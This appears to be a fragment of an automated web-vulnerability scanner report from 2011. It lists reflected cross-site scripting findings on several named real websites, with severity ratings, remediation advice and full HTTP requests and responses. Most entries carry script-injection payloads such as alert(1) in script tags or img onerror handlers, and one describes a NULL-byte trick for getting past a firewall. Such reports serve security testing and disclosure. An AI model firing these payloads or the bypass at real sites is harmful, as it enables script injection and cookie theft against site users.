<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <a href="?name=stark_jayson&id=6154671&3a47a"><script>alert(1)</script>c61540aaab8=1&action=login&appRedirect=http://insider.espn.go.com/mlb/blog?name=stark_jayson&id=6154671&3a47a"> ...[SNIP]...
1.132. https://login.barracudanetworks.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
https://login.barracudanetworks.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00185a3"><a>0b39656ae9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 185a3"><a>0b39656ae9 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /?%00185a3"><a>0b39656ae9=1 HTTP/1.1 Host: login.barracudanetworks.com Connection: keep-alive Referer: http://www.barracudanetworks.com/ns/products/web-application-controller-overview.php?40caf%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E570f923664=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=91832325.1298729756.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/20; __utma=91832325.720058028.1298729756.1298729756.1298729756.1; __utmc=91832325; __utmb=91832325.7.10.1298729756
The value of the h request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 66e3a'%3balert(1)//54509da0ddf was submitted in the h parameter. This input was echoed as 66e3a';alert(1)//54509da0ddf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag.jsp?pid=0384790&w=300&h=25066e3a'%3balert(1)//54509da0ddf&rnd=1298497076&cm=http://ib.adnxs.com/click/8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAQMCAAUAAAAAuiTYFwAAAAA./cnd=!jhrt-AiyggMQ-KsMGAAg8fgCKAAx8BZIUPz4CkBCEwgAEAAYACABKP7__________wFCDgjIPhCLlCkYmxMgAigFSANQAFj-A2ADaOYC/referrer=http%3A%2F%2Fc5.zedo.com%2Fjsc%2Fc5%2Fff2.html%3Fn%3D305%3Bc%3D5852%2F749%2F1%3Bs%3D421%3Bd%3D9%3Bw%3D300%3Bh%3D250/clickenc=http%3A%2F%2Fxads.zedo.com%2Fads2%2Fc%253Fa%253D895737%253Bx%253D2304%253Bg%253D172%253Bc%253D305005852%252C305005852%253Bi%253D0%253Bn%253D305%253Bi%253D0%253Bu%253DjhmxpQoBADYAAET%40BzgAAAAW%257E022111%253B1%253D8%253B2%253D1%253Be%253Di%253Bs%253D421%253Bg%253D172%253Bw%253D47%253Bm%253D82%253Bz%253D0.2778043581638485%253Bp%253D8%253Bf%253D1093076%253Bh%253D1093075%253Bo%253D20%253By%253D331%253Bv%253D1%253Bt%253Di%253Bk%3D HTTP/1.1 Host: mf.sitescout.com Proxy-Connection: keep-alive Referer: http://ib.adnxs.com/if?enc=8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAgMCAAUAAAAAuyTpFwAAAAA.&pubclick=http://xads.zedo.com/ads2/c%253Fa%253D895737%253Bx%253D2304%253Bg%253D172%253Bc%253D305005852%252C305005852%253Bi%253D0%253Bn%253D305%253Bi%253D0%253Bu%253DjhmxpQoBADYAAET@BzgAAAAW%257E022111%253B1%253D8%253B2%253D1%253Be%253Di%253Bs%253D421%253Bg%253D172%253Bw%253D47%253Bm%253D82%253Bz%253D0.2778043581638485%253Bp%253D8%253Bf%253D1093076%253Bh%253D1093075%253Bo%253D20%253By%253D331%253Bv%253D1%253Bt%253Di%253Bk%3D&udj=uf%28%27a%27%2C+577%2C+1298497076%29%3Buf%28%27r%27%2C+202232%2C+1298497076%29%3B&cnd=!jhrt-AiyggMQ-KsMGAAg8fgCKAAx8BZIUPz4CkBCEwgAEAAYACABKP7__________wFCDgjIPhCLlCkYmxMgAigFSANQAFj-A2ADaOYC&referrer=http://c5.zedo.com/jsc/c5/ff2.html%3Fn=305%3Bc=5852/749/1%3Bs=421%3Bd=9%3Bw=300%3Bh=250 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT Content-Type: application/x-javascript Content-Length: 1436 Date: Wed, 23 Feb 2011 21:40:39 GMT
The value of the pid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e9c45"%3balert(1)//f523be3e8b3 was submitted in the pid parameter. This input was echoed as e9c45";alert(1)//f523be3e8b3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag.jsp?pid=0384790e9c45"%3balert(1)//f523be3e8b3&w=300&h=250&rnd=1298497076&cm=http://ib.adnxs.com/click/8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAQMCAAUAAAAAuiTYFwAAAAA./cnd=!jhrt-AiyggMQ-KsMGAAg8fgCKAAx8BZIUPz4CkBCEwgAEAAYACABKP7__________wFCDgjIPhCLlCkYmxMgAigFSANQAFj-A2ADaOYC/referrer=http%3A%2F%2Fc5.zedo.com%2Fjsc%2Fc5%2Fff2.html%3Fn%3D305%3Bc%3D5852%2F749%2F1%3Bs%3D421%3Bd%3D9%3Bw%3D300%3Bh%3D250/clickenc=http%3A%2F%2Fxads.zedo.com%2Fads2%2Fc%253Fa%253D895737%253Bx%253D2304%253Bg%253D172%253Bc%253D305005852%252C305005852%253Bi%253D0%253Bn%253D305%253Bi%253D0%253Bu%253DjhmxpQoBADYAAET%40BzgAAAAW%257E022111%253B1%253D8%253B2%253D1%253Be%253Di%253Bs%253D421%253Bg%253D172%253Bw%253D47%253Bm%253D82%253Bz%253D0.2778043581638485%253Bp%253D8%253Bf%253D1093076%253Bh%253D1093075%253Bo%253D20%253By%253D331%253Bv%253D1%253Bt%253Di%253Bk%3D HTTP/1.1 Host: mf.sitescout.com Proxy-Connection: keep-alive Referer: http://ib.adnxs.com/if?enc=8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAgMCAAUAAAAAuyTpFwAAAAA.&pubclick=http://xads.zedo.com/ads2/c%253Fa%253D895737%253Bx%253D2304%253Bg%253D172%253Bc%253D305005852%252C305005852%253Bi%253D0%253Bn%253D305%253Bi%253D0%253Bu%253DjhmxpQoBADYAAET@BzgAAAAW%257E022111%253B1%253D8%253B2%253D1%253Be%253Di%253Bs%253D421%253Bg%253D172%253Bw%253D47%253Bm%253D82%253Bz%253D0.2778043581638485%253Bp%253D8%253Bf%253D1093076%253Bh%253D1093075%253Bo%253D20%253By%253D331%253Bv%253D1%253Bt%253Di%253Bk%3D&udj=uf%28%27a%27%2C+577%2C+1298497076%29%3Buf%28%27r%27%2C+202232%2C+1298497076%29%3B&cnd=!jhrt-AiyggMQ-KsMGAAg8fgCKAAx8BZIUPz4CkBCEwgAEAAYACABKP7__________wFCDgjIPhCLlCkYmxMgAigFSANQAFj-A2ADaOYC&referrer=http://c5.zedo.com/jsc/c5/ff2.html%3Fn=305%3Bc=5852/749/1%3Bs=421%3Bd=9%3Bw=300%3Bh=250 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT Content-Type: application/x-javascript Content-Length: 1436 Date: Wed, 23 Feb 2011 21:40:35 GMT
var myRand=parseInt(Math.random()*99999999);
var pUrl = "http://mf.sitescout.com/disp?pid=0384790e9c45";alert(1)//f523be3e8b3&cm=http%3A%2F%2Fib.adnxs.com%2Fclick%2F8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAQMCAAUAAAAAu ...[SNIP]...
The value of the w request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 934f2'%3balert(1)//25e8b63311e was submitted in the w parameter. This input was echoed as 934f2';alert(1)//25e8b63311e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag.jsp?pid=0384790&w=300934f2'%3balert(1)//25e8b63311e&h=250&rnd=1298497076&cm=http://ib.adnxs.com/click/8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAQMCAAUAAAAAuiTYFwAAAAA./cnd=!jhrt-AiyggMQ-KsMGAAg8fgCKAAx8BZIUPz4CkBCEwgAEAAYACABKP7__________wFCDgjIPhCLlCkYmxMgAigFSANQAFj-A2ADaOYC/referrer=http%3A%2F%2Fc5.zedo.com%2Fjsc%2Fc5%2Fff2.html%3Fn%3D305%3Bc%3D5852%2F749%2F1%3Bs%3D421%3Bd%3D9%3Bw%3D300%3Bh%3D250/clickenc=http%3A%2F%2Fxads.zedo.com%2Fads2%2Fc%253Fa%253D895737%253Bx%253D2304%253Bg%253D172%253Bc%253D305005852%252C305005852%253Bi%253D0%253Bn%253D305%253Bi%253D0%253Bu%253DjhmxpQoBADYAAET%40BzgAAAAW%257E022111%253B1%253D8%253B2%253D1%253Be%253Di%253Bs%253D421%253Bg%253D172%253Bw%253D47%253Bm%253D82%253Bz%253D0.2778043581638485%253Bp%253D8%253Bf%253D1093076%253Bh%253D1093075%253Bo%253D20%253By%253D331%253Bv%253D1%253Bt%253Di%253Bk%3D HTTP/1.1 Host: mf.sitescout.com Proxy-Connection: keep-alive Referer: http://ib.adnxs.com/if?enc=8BZIUPz4CkDxFkhQ_PgKQAAAAMDMzPw_8RZIUPz4CkDwFkhQ_PgKQB-eQs1NVosnvNv2i6g_Cj40fmVNAAAAALkOBgBmAQAAZgEAAAIAAAD4FQMAcbwAAAEAAABVU0QAVVNEACwB-gD-AQAA_gYAAgMCAAUAAAAAuyTpFwAAAAA.&pubclick=http://xads.zedo.com/ads2/c%253Fa%253D895737%253Bx%253D2304%253Bg%253D172%253Bc%253D305005852%252C305005852%253Bi%253D0%253Bn%253D305%253Bi%253D0%253Bu%253DjhmxpQoBADYAAET@BzgAAAAW%257E022111%253B1%253D8%253B2%253D1%253Be%253Di%253Bs%253D421%253Bg%253D172%253Bw%253D47%253Bm%253D82%253Bz%253D0.2778043581638485%253Bp%253D8%253Bf%253D1093076%253Bh%253D1093075%253Bo%253D20%253By%253D331%253Bv%253D1%253Bt%253Di%253Bk%3D&udj=uf%28%27a%27%2C+577%2C+1298497076%29%3Buf%28%27r%27%2C+202232%2C+1298497076%29%3B&cnd=!jhrt-AiyggMQ-KsMGAAg8fgCKAAx8BZIUPz4CkBCEwgAEAAYACABKP7__________wFCDgjIPhCLlCkYmxMgAigFSANQAFj-A2ADaOYC&referrer=http://c5.zedo.com/jsc/c5/ff2.html%3Fn=305%3Bc=5852/749/1%3Bs=421%3Bd=9%3Bw=300%3Bh=250 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT Content-Type: application/x-javascript Content-Length: 1436 Date: Wed, 23 Feb 2011 21:40:37 GMT
1.136. http://pittsburgh.citysearch.com/guide/bloomfield-pittsburgh-pa/x26amp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://pittsburgh.citysearch.com
Path:
/guide/bloomfield-pittsburgh-pa/x26amp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c597d"><script>alert(1)</script>4cc4b11b365 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /guide/bloomfield-pittsburgh-pa/x26amp?c597d"><script>alert(1)</script>4cc4b11b365=1 HTTP/1.1 Host: pittsburgh.citysearch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!--[if IE]><![endif]--><html xmlns="http://www.w3.org/1999/xhtml" xml:lang=" ...[SNIP]... <link rel="canonical" href="http://pittsburgh.citysearch.com/guide/bloomfield-pittsburgh-pa/x26amp?c597d"><script>alert(1)</script>4cc4b11b365=1" /> ...[SNIP]...
1.137. http://pittsburgh.citysearch.com/guide/pittsburgh-pa/x26amp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://pittsburgh.citysearch.com
Path:
/guide/pittsburgh-pa/x26amp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21a0f"><script>alert(1)</script>9c07a67884d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /guide/pittsburgh-pa/x26amp?21a0f"><script>alert(1)</script>9c07a67884d=1 HTTP/1.1 Host: pittsburgh.citysearch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a46c"><img%20src%3da%20onerror%3dalert(1)>da470ffd4e0 was submitted in the REST URL parameter 2. This input was echoed as 6a46c"><img src=a onerror=alert(1)>da470ffd4e0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /listings/bloomfield6a46c"><img%20src%3da%20onerror%3dalert(1)>da470ffd4e0/musical_instruments/8667_3948 HTTP/1.1 Host: pittsburgh.citysearch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac61d"><img%20src%3da%20onerror%3dalert(1)>cacbbb22cec was submitted in the REST URL parameter 3. This input was echoed as ac61d"><img src=a onerror=alert(1)>cacbbb22cec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /listings/bloomfield/musical_instrumentsac61d"><img%20src%3da%20onerror%3dalert(1)>cacbbb22cec/8667_3948 HTTP/1.1 Host: pittsburgh.citysearch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.140. http://pittsburgh.citysearch.com/listings/bloomfield/musical_instruments/8667_3948/x22 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf296"><script>alert(1)</script>915b0164ca9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /listings/bloomfield/musical_instruments/8667_3948/x22?cf296"><script>alert(1)</script>915b0164ca9=1 HTTP/1.1 Host: pittsburgh.citysearch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57c86"><img%20src%3da%20onerror%3dalert(1)>64ff6fcbc40 was submitted in the REST URL parameter 4. This input was echoed as 57c86"><img src=a onerror=alert(1)>64ff6fcbc40 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /w/page-revisions/13246986/Web-Application-Security-Scanner-Evaluation-Criteria57c86"><img%20src%3da%20onerror%3dalert(1)>64ff6fcbc40 HTTP/1.1 Host: projects.webappsec.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519;
Response
HTTP/1.1 200 OK Server: nginx/0.6.32 Date: Sat, 26 Feb 2011 02:16:22 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Frame-Options: deny Expires: Fri, 25 Feb 2011 02:16:21 GMT Cache-Control: no-cache Content-Length: 25531
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="cont ...[SNIP]... <a href="http://projects.webappsec.org/w/page-revisions/13246986/Web-Application-Security-Scanner-Evaluation-Criteria57c86"><img src=a onerror=alert(1)>64ff6fcbc40?show_all=1"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8641"><img%20src%3da%20onerror%3dalert(1)>0f2d26e32b6 was submitted in the REST URL parameter 4. This input was echoed as b8641"><img src=a onerror=alert(1)>0f2d26e32b6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /w/page-revisions/13246986/ab8641"><img%20src%3da%20onerror%3dalert(1)>0f2d26e32b6 HTTP/1.1 Host: projects.webappsec.org Proxy-Connection: keep-alive Referer: http://projects.webappsec.org/w/page-revisions/13246986/Web-Application-Security-Scanner-Evaluation-Criteria57c86%22%3E%3Cimg%20src%3da%20onerror%3dalert(1)%3E64ff6fcbc40 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pbj=c141224b73feb9193565e6eeb03e001298670485; __qca=P0-1048600453-1298670520461; __utmz=133238479.1298686864.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=133238479.1282775871.1298670519.1298670519.1298686864.2; __utmc=133238479; __utmb=133238479.1.10.1298686864
Response
HTTP/1.1 200 OK Server: nginx/0.6.32 Date: Sat, 26 Feb 2011 02:31:30 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive X-Frame-Options: deny Expires: Fri, 25 Feb 2011 02:31:30 GMT Cache-Control: no-cache Content-Length: 25423
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="cont ...[SNIP]... <a href="http://projects.webappsec.org/w/page-revisions/13246986/ab8641"><img src=a onerror=alert(1)>0f2d26e32b6?show_all=1"> ...[SNIP]...
The value of the slotname request parameter is copied into the HTML document as plain text between tags. The payload f0150<script>alert(1)</script>d9fc77691a6 was submitted in the slotname parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /gampad/ads?correlator=1298497010810&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&client=ca-pub-4809460702016037&slotname=KOMO_Homepage_Hyperlocal_Ad_Slot_IP_300x250f0150<script>alert(1)</script>d9fc77691a6&page_slots=KOMO_Homepage_Hyperlocal_Ad_Slot_IP_300x250&cookie_enabled=1&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1659860762&ga_fc=true&url=http%3A%2F%2Fwww.komonews.com%2F&lmt=1298518211&dt=1298497010811&cc=33&biw=1210&bih=642&ifi=1&adk=2142605729&u_tz=-360&u_his=1&u_java=true&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&flash=10.2.154 HTTP/1.1 Host: pubads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.komonews.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/javascript; charset=UTF-8 X-Content-Type-Options: nosniff Date: Wed, 23 Feb 2011 21:38:36 GMT Server: gfp-be Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 2773
GA_googleSetAdContentsBySlotForSync({"KOMO_Homepage_Hyperlocal_Ad_Slot_IP_300x250f0150<script>alert(1)</script>d9fc77691a6":{"_type_":"html","_expandable_":false,"_html_":"\x3c!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\"\x3e\x3chtml\x3e\x3chead\x3e\x3cstyle\x3ea:link{color:#f ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec907"><script>alert(1)</script>dfc89eb5c90 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bloomfield-nm/shopping/musical-instrumentsec907"><script>alert(1)</script>dfc89eb5c90/x22 HTTP/1.1 Host: qa.wimgo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e2093"-alert(1)-"0fd1d4f72b0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bloomfield-nm/shopping/musical-instrumentse2093"-alert(1)-"0fd1d4f72b0/x22 HTTP/1.1 Host: qa.wimgo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9a6de"-alert(1)-"b1c598501c5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bloomfield-nm/shopping/musical-instruments/x229a6de"-alert(1)-"b1c598501c5 HTTP/1.1 Host: qa.wimgo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92fce"><script>alert(1)</script>de7cf7e6ed3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bloomfield-nm/shopping/musical-instruments/x2292fce"><script>alert(1)</script>de7cf7e6ed3 HTTP/1.1 Host: qa.wimgo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/sch ...[SNIP]... <a rel="nofollow" href="/bloomfield-nm/shopping/musical-instruments/x2292fce"><script>alert(1)</script>de7cf7e6ed3?navs=39%2C394%2C135%2C80%2C832%2C618%2C0%2C0&nv1=Attractions"> ...[SNIP]...
1.148. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://qa.wimgo.com
Path:
/bloomfield-nm/shopping/musical-instruments/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa2f6"-alert(1)-"347f33fe799 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bloomfield-nm/shopping/musical-instruments/x22?aa2f6"-alert(1)-"347f33fe799=1 HTTP/1.1 Host: qa.wimgo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.149. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://qa.wimgo.com
Path:
